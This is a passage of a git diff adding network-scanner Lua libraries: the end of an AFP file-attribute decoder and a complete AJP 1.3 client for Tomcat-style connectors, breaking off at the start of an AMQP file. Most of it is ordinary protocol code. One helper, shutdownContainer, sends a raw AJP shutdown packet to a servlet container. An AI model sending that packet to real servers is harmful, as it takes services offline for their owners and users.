+ local path = { type = PATH_TYPE.LongName, name = str_path }
+ response = self.proto:fp_get_file_dir_parms( vol_id, 2, FILE_BITMAP.UnixPrivileges, DIR_BITMAP.UnixPrivileges, path )
+ if ( response:getErrorCode() ~= ERROR.FPNoErr ) then
+ return false, response:getErrorMessage()
+ end
+
+ local item = response.result.file or response.result.dir
+ local item_type = ( response.result.file ) and "-" or "d"
+ local privs = item.UnixPrivileges and item.UnixPrivileges.ua_permissions
+ if ( privs ) then
+ local uid = item.UnixPrivileges.uid
+ local gid = item.UnixPrivileges.gid
+ local str_privs = item_type .. Util.decode_unix_privs(privs)
+ return true, { uid = uid, gid = gid, privs = str_privs }
+ end
+ end,
+
+ --- Gets the Unix permissions of a file
+ -- @param vol_name string containing the name of the volume
+ -- @param str_path string containing the name of the file
+ -- @return status true on success, false on failure
+ -- @return size containing the size of the file in bytes
+ -- @return err string (on failure) containing the error message
+ GetFileSize = function( self, vol_name, str_path )
+ local response = self.proto:fp_open_vol( VOL_BITMAP.ID, vol_name )
+
+ if ( response:getErrorCode() ~= ERROR.FPNoErr ) then
+ return false, response:getErrorMessage()
+ end
+
+ local vol_id = response.result.volume_id
+ local path = { type = PATH_TYPE.LongName, name = str_path }
+ response = self.proto:fp_get_file_dir_parms( vol_id, 2, FILE_BITMAP.ExtendedDataForkSize, 0, path )
+ if ( response:getErrorCode() ~= ERROR.FPNoErr ) then
+ return false, response:getErrorMessage()
+ end
+
+ return true, response.result.file and response.result.file.ExtendedDataForkSize or 0
+ end,
+
+
+ --- Returns the creation, modification and backup dates of a file
+ -- @param vol_name string containing the name of the volume
+ -- @param str_path string containing the name of the file
+ -- @return status true on success, false on failure
+ -- @return dates table containing the following fields:
+ -- <code>create</code> - Creation date of the file
+ -- <code>modify</code> - Modification date of the file
+ -- <code>backup</code> - Date of last backup
+ -- @return err string (on failure) containing the error message
+ GetFileDates = function( self, vol_name, str_path )
+ local response = self.proto:fp_open_vol( VOL_BITMAP.ID, vol_name )
+
+ if ( response:getErrorCode() ~= ERROR.FPNoErr ) then
+ return false, response:getErrorMessage()
+ end
+
+ local vol_id = response.result.volume_id
+ local path = { type = PATH_TYPE.LongName, name = str_path }
+ local f_bm = FILE_BITMAP.CreationDate + FILE_BITMAP.ModificationDate + FILE_BITMAP.BackupDate
+ local d_bm = DIR_BITMAP.CreationDate + DIR_BITMAP.ModificationDate + DIR_BITMAP.BackupDate
+ response = self.proto:fp_get_file_dir_parms( vol_id, 2, f_bm, d_bm, path )
+ if ( response:getErrorCode() ~= ERROR.FPNoErr ) then
+ return false, response:getErrorMessage()
+ end
+
+ local item = response.result.file or response.result.dir
+
+ local create = Util.time_to_string(item.CreationDate)
+ local backup = Util.time_to_string(item.BackupDate)
+ local modify = Util.time_to_string(item.ModificationDate)
+
+ return true, { create = create, backup = backup, modify = modify }
+ end,
+
+ --- Creates a new directory on the AFP sharepoint
+ --
+ -- @param str_path containing the sharepoint and the directory
+ -- @return status boolean true on success, false on failure
+ -- @return dirId number containing the new directory id
+ CreateDir = function( self, str_path )
+ local status, response, vol_id, did
+ local p = Util.SplitPath( str_path )
+ local path = { type=PATH_TYPE.LongName, name=p.file }
+
+
+ status, response = self:WalkDirTree( p.dir )
+ if not status then
+ return false, response
+ end
+
+ response = self.proto:fp_create_dir( response.VolumeId, response.DirectoryId, path )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+
+ return true, response
+ end,
+
+}
+
+--- Util class, containing some static functions used by Helper and Proto
+Util =
+{
+ --- Pads a string with zeroes
+ --
+ -- @param str string containing the string to be padded
+ -- @param len number containing the length of the new string
+ -- @return str string containing the new string
+ ZeroPad = function( str, len )
+ return str .. string.rep('\0', len - str:len())
+ end,
+
+ --- Splits a path into two pieces, directory and file
+ --
+ -- @param str_path string containing the path to split
+ -- @return dir table containing <code>dir</code> and <code>file</code>
+ SplitPath = function( str_path )
+ local elements = stringaux.strsplit("/", str_path)
+ local dir, file = "", ""
+
+ if #elements < 2 then
+ return nil
+ end
+
+ file = elements[#elements]
+
+ table.remove( elements, #elements )
+ dir = table.concat( elements, "/" )
+
+ return { ['dir']=dir, ['file']=file }
+
+ end,
+
+ --- Converts a group bitmask of Search, Read and Write to table
+ --
+ -- @param acls number containing bitmasked acls
+ -- @return table of ACLs
+ acl_group_to_long_string = function(acls)
+
+ local acl_table = {}
+
+ if ( acls & ACLS.OwnerSearch ) == ACLS.OwnerSearch then
+ table.insert( acl_table, "Search")
+ end
+
+ if ( acls & ACLS.OwnerRead ) == ACLS.OwnerRead then
+ table.insert( acl_table, "Read")
+ end
+
+ if ( acls & ACLS.OwnerWrite ) == ACLS.OwnerWrite then
+ table.insert( acl_table, "Write")
+ end
+
+ return acl_table
+ end,
+
+
+ --- Converts a numeric acl to string
+ --
+ -- @param acls number containing acls as received from <code>fp_get_file_dir_parms</code>
+ -- @return table of long ACLs
+ acls_to_long_string = function( acls )
+
+ local owner = Util.acl_group_to_long_string( ( acls & 255 ) )
+ local group = Util.acl_group_to_long_string( ( (acls >> 8) & 255 ) )
+ local everyone = Util.acl_group_to_long_string( ( (acls >> 16) & 255 ) )
+ local user = Util.acl_group_to_long_string( ( (acls >> 24) & 255 ) )
+
+ local blank = ( acls & ACLS.BlankAccess ) == ACLS.BlankAccess and "Blank" or nil
+ local isowner = ( acls & ACLS.UserIsOwner ) == ACLS.UserIsOwner and "IsOwner" or nil
+
+ local options = {}
+
+ if blank then
+ table.insert(options, "Blank")
+ end
+
+ if isowner then
+ table.insert(options, "IsOwner")
+ end
+
+ local acls_tbl = {}
+
+ table.insert( acls_tbl, string.format( "Owner: %s", table.concat(owner, ",") ) )
+ table.insert( acls_tbl, string.format( "Group: %s", table.concat(group, ",") ) )
+ table.insert( acls_tbl, string.format( "Everyone: %s", table.concat(everyone, ",") ) )
+ table.insert( acls_tbl, string.format( "User: %s", table.concat(user, ",") ) )
+
+ if #options > 0 then
+ table.insert( acls_tbl, string.format( "Options: %s", table.concat(options, ",") ) )
+ end
+
+ return acls_tbl
+
+ end,
+
+
+ --- Converts AFP file timestamp to a standard text format
+ --
+ -- @param timestamp value returned by FPEnumerateExt2 or FPGetFileDirParms
+ -- @return string representing the timestamp
+ time_to_string = function (timestamp)
+ return timestamp and datetime.format_timestamp(timestamp + TIME_OFFSET) or nil
+ end,
+
+
+ --- Decodes the UnixPrivileges.ua_permissions value
+ --
+ -- @param privs number containing the UnixPrivileges.ua_permissions value
+ -- @return string containing the ACL characters
+ decode_unix_privs = function( privs )
+ local owner = ( ( privs & ACLS.OwnerRead ) == ACLS.OwnerRead ) and "r" or "-"
+ owner = owner .. (( ( privs & ACLS.OwnerWrite ) == ACLS.OwnerWrite ) and "w" or "-")
+ owner = owner .. (( ( privs & ACLS.OwnerSearch ) == ACLS.OwnerSearch ) and "x" or "-")
+
+ local group = ( ( privs & ACLS.GroupRead ) == ACLS.GroupRead ) and "r" or "-"
+ group = group .. (( ( privs & ACLS.GroupWrite ) == ACLS.GroupWrite ) and "w" or "-")
+ group = group .. (( ( privs & ACLS.GroupSearch ) == ACLS.GroupSearch ) and "x" or "-")
+
+ local other = ( ( privs & ACLS.EveryoneRead ) == ACLS.EveryoneRead ) and "r" or "-"
+ other = other .. (( ( privs & ACLS.EveryoneWrite ) == ACLS.EveryoneWrite ) and "w" or "-")
+ other = other .. (( ( privs & ACLS.EveryoneSearch ) == ACLS.EveryoneSearch ) and "x" or "-")
+
+ return owner .. group .. other
+ end,
+
+
+ --- Decodes a file bitmap
+ --
+ -- @param bitmap number containing the bitmap
+ -- @param data string containing the data to be decoded
+ -- @param pos number containing the offset into data
+ -- @return pos number containing the new offset after decoding
+ -- @return file table containing the decoded values
+ decode_file_bitmap = function( bitmap, data, pos )
+ local origpos = pos
+ local file = {}
+
+ if ( ( bitmap & FILE_BITMAP.Attributes ) == FILE_BITMAP.Attributes ) then
+ file.Attributes, pos = string.unpack(">I2", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.ParentDirId ) == FILE_BITMAP.ParentDirId ) then
+ file.ParentDirId, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.CreationDate ) == FILE_BITMAP.CreationDate ) then
+ file.CreationDate, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.ModificationDate ) == FILE_BITMAP.ModificationDate ) then
+ file.ModificationDate, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.BackupDate ) == FILE_BITMAP.BackupDate ) then
+ file.BackupDate, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.FinderInfo ) == FILE_BITMAP.FinderInfo ) then
+ file.FinderInfo, pos = string.unpack("c32", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.LongName ) == FILE_BITMAP.LongName ) then
+ local offset
+ offset, pos = string.unpack(">I2", data, pos)
+ if offset > 0 then
+ file.LongName = string.unpack("s1", data, origpos + offset)
+ end
+ end
+ if ( ( bitmap & FILE_BITMAP.ShortName ) == FILE_BITMAP.ShortName ) then
+ local offset
+ offset, pos = string.unpack(">I2", data, pos)
+ if offset > 0 then
+ file.ShortName = string.unpack("s1", data, origpos + offset)
+ end
+ end
+ if ( ( bitmap & FILE_BITMAP.NodeId ) == FILE_BITMAP.NodeId ) then
+ file.NodeId, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.DataForkSize ) == FILE_BITMAP.DataForkSize ) then
+ file.DataForkSize, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.ResourceForkSize ) == FILE_BITMAP.ResourceForkSize ) then
+ file.ResourceForkSize, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.ExtendedDataForkSize ) == FILE_BITMAP.ExtendedDataForkSize ) then
+ file.ExtendedDataForkSize, pos = string.unpack(">I8", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.LaunchLimit ) == FILE_BITMAP.LaunchLimit ) then
+ -- should not be set as it's deprecated according to:
+ -- http://developer.apple.com/mac/library/documentation/Networking/Reference/AFP_Reference/Reference/reference.html#//apple_ref/doc/c_ref/kFPLaunchLimitBit
+ end
+ if ( ( bitmap & FILE_BITMAP.UTF8Name ) == FILE_BITMAP.UTF8Name ) then
+ local offset
+ offset, pos = string.unpack(">I2", data, pos)
+ if offset > 0 then
+ -- +4 to skip over the encoding hint
+ file.UTF8Name = string.unpack(">s2", data, origpos + offset + 4)
+ end
+ -- Skip over the trailing pad
+ pos = pos + 4
+ end
+ if ( ( bitmap & FILE_BITMAP.ExtendedResourceForkSize ) == FILE_BITMAP.ExtendedResourceForkSize ) then
+ file.ExtendedResourceForkSize, pos = string.unpack(">I8", data, pos )
+ end
+ if ( ( bitmap & FILE_BITMAP.UnixPrivileges ) == FILE_BITMAP.UnixPrivileges ) then
+ local unixprivs = {}
+ unixprivs.uid, unixprivs.gid, unixprivs.permissions, unixprivs.ua_permissions, pos = string.unpack(">I4I4I4I4", data, pos)
+ file.UnixPrivileges = unixprivs
+ end
+ return pos, file
+ end,
+
+ --- Decodes a directory bitmap
+ --
+ -- @param bitmap number containing the bitmap
+ -- @param data string containing the data to be decoded
+ -- @param pos number containing the offset into data
+ -- @return pos number containing the new offset after decoding
+ -- @return dir table containing the decoded values
+ decode_dir_bitmap = function( bitmap, data, pos )
+ local origpos = pos
+ local dir = {}
+
+ if ( ( bitmap & DIR_BITMAP.Attributes ) == DIR_BITMAP.Attributes ) then
+ dir.Attributes, pos = string.unpack(">I2", data, pos)
+ end
+ if ( ( bitmap & DIR_BITMAP.ParentDirId ) == DIR_BITMAP.ParentDirId ) then
+ dir.ParentDirId, pos = string.unpack(">I4", data, pos)
+ end
+ if ( ( bitmap & DIR_BITMAP.CreationDate ) == DIR_BITMAP.CreationDate ) then
+ dir.CreationDate, pos = string.unpack(">I4", data, pos)
+ end
+ if ( ( bitmap & DIR_BITMAP.ModificationDate ) == DIR_BITMAP.ModificationDate ) then
+ dir.ModificationDate, pos = string.unpack(">I4", data, pos)
+ end
+ if ( ( bitmap & DIR_BITMAP.BackupDate ) == DIR_BITMAP.BackupDate ) then
+ dir.BackupDate, pos = string.unpack(">I4", data, pos)
+ end
+ if ( ( bitmap & DIR_BITMAP.FinderInfo ) == DIR_BITMAP.FinderInfo ) then
+ dir.FinderInfo, pos = string.unpack("c32", data, pos)
+ end
+ if ( ( bitmap & DIR_BITMAP.LongName ) == DIR_BITMAP.LongName ) then
+ local offset
+ offset, pos = string.unpack(">I2", data, pos)
+
+ -- TODO: This really needs to be addressed someway
+ -- Barely, never, ever happens, which makes it difficult to pin down
+ -- http://developer.apple.com/mac/library/documentation/Networking/Reference/AFP_Reference/Reference/reference.html#//apple_ref/doc/uid/TP40003548-CH3-CHDBEHBG
+
+ -- [nnposter, 8/1/2020] URL above not available. Offset below (pos+4)
+ -- seems illogical, as it partially covers two separate fields: bottom
+ -- half of the file ID and the entire offspring count.
+ -- Disabled the hack, as it interfered with valid cases
+
+ --[[
+ local justkidding = string.unpack(">I4", data, pos + 4)
+ if ( justkidding ~= 0 ) then
+ offset = 5
+ end
+ ]]
+
+ if offset > 0 then
+ dir.LongName = string.unpack("s1", data, origpos + offset)
+ end
+ end
+ if ( ( bitmap & DIR_BITMAP.ShortName ) == DIR_BITMAP.ShortName ) then
+ local offset
+ offset, pos = string.unpack(">I2", data, pos)
+ if offset > 0 then
+ dir.ShortName = string.unpack("s1", data, origpos + offset)
+ end
+ end
+ if ( ( bitmap & DIR_BITMAP.NodeId ) == DIR_BITMAP.NodeId ) then
+ dir.NodeId, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & DIR_BITMAP.OffspringCount ) == DIR_BITMAP.OffspringCount ) then
+ dir.OffspringCount, pos = string.unpack(">I2", data, pos )
+ end
+ if ( ( bitmap & DIR_BITMAP.OwnerId ) == DIR_BITMAP.OwnerId ) then
+ dir.OwnerId, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & DIR_BITMAP.GroupId ) == DIR_BITMAP.GroupId ) then
+ dir.GroupId, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & DIR_BITMAP.AccessRights ) == DIR_BITMAP.AccessRights ) then
+ dir.AccessRights, pos = string.unpack(">I4", data, pos )
+ end
+ if ( ( bitmap & DIR_BITMAP.UTF8Name ) == DIR_BITMAP.UTF8Name ) then
+ local offset
+ offset, pos = string.unpack(">I2", data, pos)
+ if offset > 0 then
+ -- +4 to skip over the encoding hint
+ dir.UTF8Name = string.unpack(">s2", data, origpos + offset + 4)
+ end
+ -- Skip over the trailing pad
+ pos = pos + 4
+ end
+ if ( ( bitmap & DIR_BITMAP.UnixPrivileges ) == DIR_BITMAP.UnixPrivileges ) then
+ local unixprivs = {}
+
+ unixprivs.uid, unixprivs.gid, unixprivs.permissions, unixprivs.ua_permissions, pos = string.unpack(">I4I4I4I4", data, pos)
+ dir.UnixPrivileges = unixprivs
+ end
+ return pos, dir
+ end,
+
+}
+
+
+
+
+return _ENV;
diff --git a/nselib/ajp.lua b/nselib/ajp.lua
new file mode 100644
index 0000000..b6296d0
--- /dev/null
+++ b/nselib/ajp.lua
@@ -0,0 +1,546 @@
+local base64 = require "base64"
+local http = require "http"
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+_ENV = stdnse.module("ajp", stdnse.seeall)
+
+---
+-- A basic AJP 1.3 implementation based on documentation available from Apache
+-- mod_proxy_ajp; http://httpd.apache.org/docs/2.2/mod/mod_proxy_ajp.html
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+AJP = {
+
+ -- The magic prefix that has to be present in all requests
+ Magic = 0x1234,
+
+ -- Methods encoded as numeric values
+ Method = {
+ ['OPTIONS'] = 1,
+ ['GET'] = 2,
+ ['HEAD'] = 3,
+ ['POST'] = 4,
+ ['PUT'] = 5,
+ ['DELETE'] = 6,
+ ['TRACE'] = 7,
+ ['PROPFIND'] = 8,
+ ['PROPPATCH'] = 9,
+ ['MKCOL'] = 10,
+ ['COPY'] = 11,
+ ['MOVE'] = 12,
+ ['LOCK'] = 13,
+ ['UNLOCK'] = 14,
+ ['ACL'] = 15,
+ ['REPORT'] = 16,
+ ['VERSION-CONTROL'] = 17,
+ ['CHECKIN'] = 18,
+ ['CHECKOUT'] = 19,
+ ['UNCHECKOUT'] = 20,
+ ['SEARCH'] = 21,
+ ['MKWORKSPACE'] = 22,
+ ['UPDATE'] = 23,
+ ['LABEL'] = 24,
+ ['MERGE'] = 25,
+ ['BASELINE_CONTROL'] = 26,
+ ['MKACTIVITY'] = 27,
+ },
+
+ -- Request codes
+ Code = {
+ FORWARD_REQUEST = 2,
+ SEND_BODY = 3,
+ SEND_HEADERS = 4,
+ END_RESPONSE = 5,
+ SHUTDOWN = 7,
+ PING = 8,
+ CPING = 10,
+ },
+
+ -- Request attributes
+ Attribute = {
+ CONTEXT = 0x01,
+ SERVLET_PATH = 0x02,
+ REMOTE_USER = 0x03,
+ AUTH_TYPE = 0x04,
+ QUERY_STRING = 0x05,
+ JVM_ROUTE = 0x06,
+ SSL_CERT = 0x07,
+ SSL_CIPHER = 0x08,
+ SSL_SESSION = 0x09,
+ REQ_ATTRIBUTE= 0x0A,
+ SSL_KEY_SIZE = 0x0B,
+ ARE_DONE = 0xFF,
+ },
+
+ ForwardRequest = {
+
+ -- Common headers encoded as numeric values
+ Header = {
+ ['accept'] = 0xA001,
+ ['accept-charset'] = 0xA002,
+ ['accept-encoding'] = 0xA003,
+ ['accept-language'] = 0xA004,
+ ['authorization'] = 0xA005,
+ ['connection'] = 0xA006,
+ ['content-type'] = 0xA007,
+ ['content-length'] = 0xA008,
+ ['cookie'] = 0xA009,
+ ['cookie2'] = 0xA00A,
+ ['host'] = 0xA00B,
+ ['pragma'] = 0xA00C,
+ ['referer'] = 0xA00D,
+ ['user-agent'] = 0xA00E,
+ },
+
+ new = function(self, host, port, method, uri, headers, attributes, options)
+ local o = {
+ host = host,
+ magic = 0x1234,
+ length = 0,
+ code = AJP.Code.FORWARD_REQUEST,
+ method = AJP.Method[method],
+ version = "HTTP/1.1",
+ uri = uri,
+ raddr = options.raddr or "127.0.0.1",
+ rhost = options.rhost or "",
+ srv = host.ip,
+ port = port.number,
+ is_ssl = (port.service == "https"),
+ headers = headers or {},
+ attributes = attributes or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+
+ -- encodes a string, prefixing it with a 2-byte length
+ -- and suffixing it with a zero.
+ local function encstr(str)
+ if ( not(str) or #str == 0 ) then
+ return "\xFF\xFF"
+ end
+ return string.pack(">s2x", str)
+ end
+
+ -- count the number of headers
+ local function headerCount()
+ local i = 0
+ for _, _ in pairs(self.headers) do i = i + 1 end
+ return i
+ end
+
+ -- add host header if it's missing
+ if ( not(self.headers['host']) ) then
+ self.headers['host'] = stdnse.get_hostname(self.host)
+ end
+
+ -- add keep-alive connection header if missing
+ if ( not(self.headers['connection']) ) then
+ self.headers['connection'] = "keep-alive"
+ end
+
+ local p_url = url.parse(self.uri)
+
+ -- save the magic and data for last
+ local data = {
+ string.pack(">BB", self.code, self.method),
+ encstr(self.version), encstr(p_url.path), encstr(self.raddr),
+ encstr(self.rhost), encstr(self.srv),
+ string.pack(">I2BI2", self.port, (self.is_ssl and 1 or 0), headerCount()),
+ }
+
+ -- encode headers
+ for k, v in pairs(self.headers) do
+ local header = AJP.ForwardRequest.Header[k:lower()] or k
+ if ( "string" == type(header) ) then
+ data[#data+1] = string.pack(">s2x", header)
+ else
+ data[#data+1] = string.pack(">I2", header)
+ end
+
+ data[#data+1] = encstr(v)
+ end
+
+ -- encode attributes
+ if ( p_url.query ) then
+ data[#data+1] = string.pack("B", AJP.Attribute.QUERY_STRING)
+ data[#data+1] = encstr(p_url.query)
+ end
+
+ -- terminate the attribute list
+ data[#data+1] = string.pack("B", AJP.Attribute.ARE_DONE)
+
+ -- returns the AJP request as a string
+ data = table.concat(data)
+ return string.pack(">I2s2", AJP.Magic, data)
+ end,
+
+ },
+
+ Response = {
+
+ Header = {
+ ['Content-Type'] = 0xA001,
+ ['Content-Language'] = 0xA002,
+ ['Content-Length'] = 0xA003,
+ ['Date'] = 0xA004,
+ ['Last-Modified'] = 0xA005,
+ ['Location'] = 0xA006,
+ ['Set-Cookie'] = 0xA007,
+ ['Set-Cookie2'] = 0xA008,
+ ['Servlet-Engine'] = 0xA009,
+ ['Status'] = 0xA00A,
+ ['WWW-Authenticate'] = 0xA00B,
+ },
+
+ SendHeaders = {
+
+ new = function(self)
+ local o = { headers = {}, rawheaders = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local sh = AJP.Response.SendHeaders:new()
+ local pos = 6
+ local status_msg, hdr_count
+
+ sh.status, status_msg, pos = string.unpack(">I2s2", data, pos)
+ pos = pos + 1
+ sh.status_line = ("AJP/1.3 %d %s"):format(sh.status, status_msg)
+
+ hdr_count, pos = string.unpack(">I2", data, pos)
+
+ local function headerById(id)
+ for k, v in pairs(AJP.Response.Header) do
+ if ( v == id ) then return k end
+ end
+ end
+
+
+ for i=1, hdr_count do
+ local key, val, len
+ len, pos = string.unpack(">I2", data, pos)
+
+ if ( len < 0xA000 ) then
+ key, pos = string.unpack("c"..len, data, pos)
+ pos = pos + 1
+ else
+ key = headerById(len)
+ end
+
+ val, pos = string.unpack(">s2", data, pos)
+ pos = pos + 1
+
+ sh.headers[key:lower()] = val
+
+ -- to keep the order, in which the headers were received,
+ -- add them to the rawheader table as well. This is based
+ -- on the same principle as the http library, however the
+ -- difference being that we have to "construct" the "raw"
+ -- format of the header, as we're receiving kvp's.
+ table.insert(sh.rawheaders, ("%s: %s"):format(key,val))
+ end
+ return sh
+ end,
+
+ },
+
+ },
+
+}
+
+-- The Comm class handles sending and receiving AJP requests/responses
+Comm = {
+
+ --; Creates a new Comm instance
+ -- @name Comm.new
+ -- @param host host table
+ -- @param port port table
+ -- @param options Table of options. Fields:
+ -- * timeout - Timeout in milliseconds. Default: 5000
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, options = options or {}}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --; Connects to the AJP server
+ -- @name Comm.connect
+ -- @return status true on success, false on failure
+ -- @return err string containing error message on failure
+ connect = function(self, socket)
+ self.socket = socket or nmap.new_socket()
+ self.socket:set_timeout(self.options.timeout or 5000)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ --; Sends a request to the server
+ -- @name Comm.send
+ -- @param req instance of object that can be serialized with tostring
+ -- @return status true on success, false on failure
+ -- @return err string containing error message on failure
+ send = function(self, req)
+ return self.socket:send(tostring(req))
+ end,
+
+ --- AJP response table
+ -- @class table
+ -- @name ajp.response
+ -- @field status status of response (see HTTP status codes)
+ -- @field status_line the complete status line (eg. 200 OK)
+ -- @field body the response body as string
+ -- @field headers table of response headers
+
+ --; Receives an AJP response from the server
+ -- @name Comm.receive
+ -- @return status true on success, false on failure
+ -- @return AJP response table, or error message on failure
+ -- @see ajp.response
+ receive = function(self)
+ local response = {}
+ while(true) do
+ local status, buf = self.socket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ end
+ local magic, length, pos = string.unpack(">c2I2", buf)
+ if ( magic ~= "AB" ) then
+ return false, ("Invalid magic received from server (%s)"):format(magic)
+ end
+ local status, data = self.socket:receive_buf(match.numbytes(length), true)
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ end
+
+ local code, pos = string.unpack("B", data)
+ if ( AJP.Code.SEND_HEADERS == code ) then
+ local sh = AJP.Response.SendHeaders.parse(buf .. data)
+ response = sh
+ elseif( AJP.Code.SEND_BODY == code ) then
+ response.body = string.unpack(">s2", data, pos)
+ elseif( AJP.Code.END_RESPONSE == code ) then
+ break
+ end
+ end
+ return true, response
+ end,
+
+ --; Closes the socket
+ -- @name Comm.close
+ close = function(self)
+ return self.socket:close()
+ end,
+
+}
+
+--- AJP Request options
+-- @name ajp.options
+-- @class table
+-- @field auth table with <code>username</code> and <code>password</code> fields
+-- @field timeout Socket timeout in milliseconds. Default: 5000
+Helper = {
+
+ --- Creates a new AJP Helper instance
+ -- @name Helper.new
+ -- @param host host table
+ -- @param port port table
+ -- @param opt request and comm options
+ -- @see ajp.options
+ -- @return o new Helper instance
+ new = function(self, host, port, opt)
+ local o = { host = host, port = port, opt = opt or {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects to the AJP server
+ -- @name Helper.connect
+ -- @return status true on success, false on failure
+ -- @return err string containing error message on failure
+ connect = function(self, socket)
+ self.comm = Comm:new(self.host, self.port, self.opt)
+ return self.comm:connect(socket)
+ end,
+
+ getOption = function(self, options, key)
+
+ -- first check options, then global self.opt
+ if ( options and options[key] ) then
+ return options[key]
+ elseif ( self.opt and self.opt[key] ) then
+ return self.opt[key]
+ end
+
+ end,
+
+ --- Sends an AJP request to the server
+ -- @name Helper.request
+ -- @param url string containing the URL to query
+ -- @param headers table containing optional headers
+ -- @param attributes table containing optional attributes
+ -- @param options table with request specific options
+ -- @see ajp.options
+ -- @return status true on success, false on failure
+ -- @return response table, or error message on failure
+ -- @see ajp.response
+ request = function(self, method, url, headers, attributes, options)
+ local status, lhost, lport, rhost, rport = self.comm.socket:get_info()
+ if ( not(status) ) then
+ return false, "Failed to get socket information"
+ end
+
+ local request = AJP.ForwardRequest:new(self.host, self.port, method, url, headers, attributes, { raddr = rhost })
+ if ( not(self.comm:send(request)) ) then
+ return false, "Failed to send request to server"
+ end
+ local status, result = self.comm:receive()
+
+ -- support Basic authentication
+ if ( status and result.status == 401 and result.headers['www-authenticate'] ) then
+
+ local auth = self:getOption(options, "auth")
+ if not(auth and auth.username and auth.password) then
+ stdnse.debug2("No authentication information")
+ return status, result
+ end
+
+ local challenges = http.parse_www_authenticate(result.headers['www-authenticate'])
+ local scheme
+ for _, challenge in ipairs(challenges or {}) do
+ if ( challenge and challenge.scheme and challenge.scheme:lower() == "basic") then
+ scheme = challenge.scheme:lower()
+ break
+ end
+ end
+
+ if ( not(scheme) ) then
+ stdnse.debug2("Could not find a supported authentication scheme")
+ elseif ( "basic" ~= scheme ) then
+ stdnse.debug2("Unsupported authentication scheme: %s", scheme)
+ else
+ headers = headers or {}
+ headers["Authorization"] = ("Basic %s"):format(base64.enc(auth.username .. ":" .. auth.password))
+ request = AJP.ForwardRequest:new(self.host, self.port, method, url, headers, attributes, { raddr = rhost })
+ if ( not(self.comm:send(request)) ) then
+ return false, "Failed to send request to server"
+ end
+ status, result = self.comm:receive()
+ end
+
+ end
+ return status, result
+ end,
+
+ --- Sends an AJP GET request to the server
+ -- @name Helper.get
+ -- @param url string containing the URL to query
+ -- @param headers table containing optional headers
+ -- @param attributes table containing optional attributes
+ -- @param options table with request specific options
+ -- @see ajp.options
+ -- @return status true on success, false on failure
+ -- @return response table, or error message on failure
+ -- @see ajp.response
+ get = function(self, url, headers, attributes, options)
+ return self:request("GET", url, headers, attributes, options)
+ end,
+
+ --- Sends an AJP HEAD request to the server
+ -- @name Helper.head
+ -- @param url string containing the URL to query
+ -- @param headers table containing optional headers
+ -- @param attributes table containing optional attributes
+ -- @param options table with request specific options
+ -- @see ajp.options
+ -- @return status true on success, false on failure
+ -- @return response table, or error message on failure
+ -- @see ajp.response
+ head = function(self, url, headers, attributes, options)
+ return self:request("HEAD", url, headers, attributes, options)
+ end,
+
+ --- Sends an AJP TRACE request to the server
+ -- @name Helper.trace
+ -- @param url string containing the URL to query
+ -- @param headers table containing optional headers
+ -- @param attributes table containing optional attributes
+ -- @param options table with request specific options
+ -- @see ajp.options
+ -- @return status true on success, false on failure
+ -- @return response table, or error message on failure
+ -- @see ajp.response
+ trace = function(self, url, headers, attributes, options)
+ return self:request("TRACE", url, headers, attributes, options)
+ end,
+
+ --- Sends an AJP PUT request to the server
+ -- @name Helper.put
+ -- @param url string containing the URL to query
+ -- @param headers table containing optional headers
+ -- @param attributes table containing optional attributes
+ -- @param options table with request specific options
+ -- @see ajp.options
+ -- @return status true on success, false on failure
+ -- @return response table, or error message on failure
+ -- @see ajp.response
+ put = function(self, url, headers, attributes, options)
+ return self:request("PUT", url, headers, attributes, options)
+ end,
+
+ --- Sends an AJP DELETE request to the server
+ -- @name Helper.delete
+ -- @param url string containing the URL to query
+ -- @param headers table containing optional headers
+ -- @param attributes table containing optional attributes
+ -- @param options table with request specific options
+ -- @see ajp.options
+ -- @return status true on success, false on failure
+ -- @return response table, or error message on failure
+ -- @see ajp.response
+ delete = function(self, url, headers, attributes, options)
+ return self:request("DELETE", url, headers, attributes, options)
+ end,
+
+ --- Sends an AJP OPTIONS request to the server
+ -- @name Helper.options
+ -- @param url string containing the URL to query
+ -- @param headers table containing optional headers
+ -- @param attributes table containing optional attributes
+ -- @param options table with request specific options
+ -- @see ajp.options
+ -- @return status true on success, false on failure
+ -- @return response table, or error message on failure
+ -- @see ajp.response
+ options = function(self, url, headers, attributes, options)
+ return self:request("OPTIONS", url, headers, attributes, options)
+ end,
+
+ -- should only work against 127.0.0.1
+ shutdownContainer = function(self)
+ self.comm:send("\x12\x34\x00\x01\x07")
+ self.comm:receive()
+ end,
+
+ --- Disconnects from the server
+ -- @name Helper.close
+ close = function(self)
+ return self.comm:close()
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/amqp.lua b/nselib/amqp.lua
new file mode 100644
index 0000000..5ee65cd
--- /dev/null
